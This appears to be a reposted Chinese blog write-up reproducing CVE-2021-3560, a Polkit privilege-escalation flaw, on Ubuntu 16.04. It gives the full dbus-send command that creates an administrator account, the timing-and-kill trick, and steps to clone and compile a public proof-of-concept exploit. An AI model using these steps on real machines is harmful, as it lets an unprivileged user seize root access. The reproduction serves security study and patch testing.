CVE-2021-3560 Polkit权限提升漏洞复现
Posted 玛卡巴卡巴巴亚卡
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了CVE-2021-3560 Polkit权限提升漏洞复现相关的知识,希望对你有一定的参考价值。
原理先不写了,毕竟之前写过
使用ubuntu16.04镜像
首先启动ssh服务
sudo service sshd start
通过ssh连接到本地
ssh [username]@127.0.0.1
此时在ssh连接的文本模式执行pkexec会启动文本验证
dbus-send指令可以从命令行触发polkit认证,如果在文本模式会话中执行,会立即执行失败,因为dbus-send不会启动自己的身份验证代理程序,而pkexec会自己启动身份验证。
CVE-2021-3560漏洞是通过启动dbus-send命令并在polkit仍在处理请求的过程中杀死进程断开连接来触发的,所以要kill掉该进程我们首先需要测试一下执行dbus-send需要多长时间。
time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:zeeker string:"Zeeker Security" int32:1
我执行的时间平均是0.007s,所以我们在纸条命令后0.003s执行kill
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:zeeker string:"Zeeker Security" int32:1 & sleep 0.003s ; kill $!
但执行几次后都失败了,没有创建成功,所以直接上poc来测试。
下载poc
git clone https://github.com/hakivvi/CVE-2021-3560
运行exploit程序
gcc -Wall exploit.c -o exploit $(pkg-config --libs --cflags dbus-1)
我们可以看到已经创建出了pwnd的用户只是没有登录上来
直接登录的话会失败,但是在界面切换是可以成功的。
以上是关于CVE-2021-3560 Polkit权限提升漏洞复现的主要内容,如果未能解决你的问题,请参考以下文章
Linux Polkit 权限提升漏洞预警(CVE-2021-4034)
关于 Linux Polkit 权限提升漏洞(CVE-2021-4034)的修复方法